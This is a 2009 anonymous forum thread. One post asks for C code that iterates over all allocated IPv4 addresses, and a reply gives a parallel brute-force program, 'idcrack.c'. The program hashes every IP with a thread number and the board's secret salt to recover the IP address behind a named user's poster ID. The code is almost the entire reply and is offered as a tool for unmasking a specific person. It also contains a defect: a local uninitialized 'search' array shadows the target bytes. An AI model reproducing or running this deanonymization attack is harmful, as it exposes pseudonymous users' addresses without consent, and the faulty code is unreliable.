1
Name:
Anonymous
2009-03-02 18:05
Anyone got some C code that loops over all used IP addresses? Can you come up with any special optimizations? (I need to handle them in the "%u.%u.%u.%u"-form; computations are independant and can be run in parallel)
55
Name:
Anonymous
2009-03-04 17:05
>>52
You'll probably have to read the Shiichan source to understand everything.
% cc -fopenmp -O3 -Wall -s -fomit-frame-pointer -march=native idcrack.c -lssl -lroken
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <openssl/sha.h>
#include <base64.h>
#include <omp.h>
/* http://dis.4chan.org/read/sci/1172747610/1
* 1 Name: FrozenVoid : 2007-03-01 08:54 ID:fPuNCwa3 */
/* ?fPu NCwa 3???
* = 5df3ee 342c1a dd75d7 */
/* static const unsigned char search[] = { 0xf3, 0xee, 0x34, 0x2c, 0x1a }; */
/* http://dis.4chan.org/read/sci/1172747610/20
* 20 Name: FrozenVoid : 2007-03-02 01:35 ID:+sP42Nst
* _+sP 42Ns t___
* 5feb0f e3636c b575d7 */
static const unsigned char search[] = { 0xeb, 0x0f, 0xe3, 0x63, 0x6c };
/* http://www.iana.org/assignments/ipv4-address-space/
* Using 2009-01-28 revision. */
static const unsigned char ablocks[] = {
80, 85, 213, 212, 62, 84, 195, 78, 217, 79, 94, 81, 82,
3, 4, 6, 7, 8, 9, 11, 12, 13, 15, 16, 17, 18, 19, 20,
21, 22, 24, 25, 26, 28, 29, 30, 32, 33, 34, 35, 38, 40,
41, 43, 44, 45, 47, 48, 51, 52, 53, 54, 55, 56, 57, 58,
59, 60, 61, 63, 64, 65, 66, 67, 68, 69, 70, 71, 72,
73, 74, 75, 76, 77, 86,
87, 88, 89, 90, 91, 92, 93, 95, 96, 97, 98, 99, 108,
109, 110, 111, 112, 113, 114, 115, 116, 117, 118, 119,
120, 121, 122, 123, 124, 125, 126, 128, 129, 130, 131,
132, 133, 134, 135, 136, 137, 138, 139, 140, 141, 142,
143, 144, 145, 146, 147, 148, 149, 150, 151, 152, 153,
154, 155, 156, 157, 158, 159, 160, 161, 162, 163, 164,
165, 166, 167, 168, 169, 170, 171, 172, 173, 174, 178,
184, 186, 187, 188, 189, 190, 191, 192, 193, 194,
196, 197, 198, 199, 200, 201, 202, 203, 204, 205, 206,
207, 208, 209, 210, 211, 214, 215, 216,
218, 219, 220, 221, 222 };
int
main(int argc, char* argv[])
{
unsigned char salt[448];
unsigned char search[5];
FILE* fp;
int a;
fp = fopen("salt.cgi", "rb");
fread(salt, 448, 1, fp);
fclose(fp);
#pragma omp parallel
{
#pragma omp for schedule(static, 1)
for (a = 0; a < sizeof(ablocks); ++a) {
SHA_CTX ctx;
char prefix[16] = { '\0' };
unsigned char md[SHA_DIGEST_LENGTH] = { '\0' };
unsigned int b, c, d;
char* bpos;
char* cpos;
char* dpos;
bpos = prefix + sprintf(prefix, "%u.", ablocks[a]);
for (b = 0; b < 256; ++b) {
cpos = bpos + sprintf(bpos, "%u.", b);
for (c = 0; c < 256; ++c) {
dpos = cpos + sprintf(cpos, "%u.", c);
for (d = 0; d < 256; ++d) {
sprintf(dpos, "%u", d);
SHA1_Init(&ctx);
SHA1_Update(&ctx, prefix, strlen(prefix));
SHA1_Update(&ctx, "021172747610", 12);
SHA1_Update(&ctx, salt, 448);
SHA1_Final(md, &ctx);
if (memcmp(search, md + 1, 5) == 0) {
char* base64 = NULL;
base64_encode(md, SHA_DIGEST_LENGTH, &base64);
base64[9] = '\0';
printf("%u.%u.%u.%u: %s\n", ablocks[a], b, c, d, base64 + 1);
free(base64);
exit(0);
}
}
}
}
printf("%u/8 (%u) done. [%u]\n", ablocks[a], a, omp_get_thread_num());
}
}
printf("Couldn't find it...\n");
exit(1);
}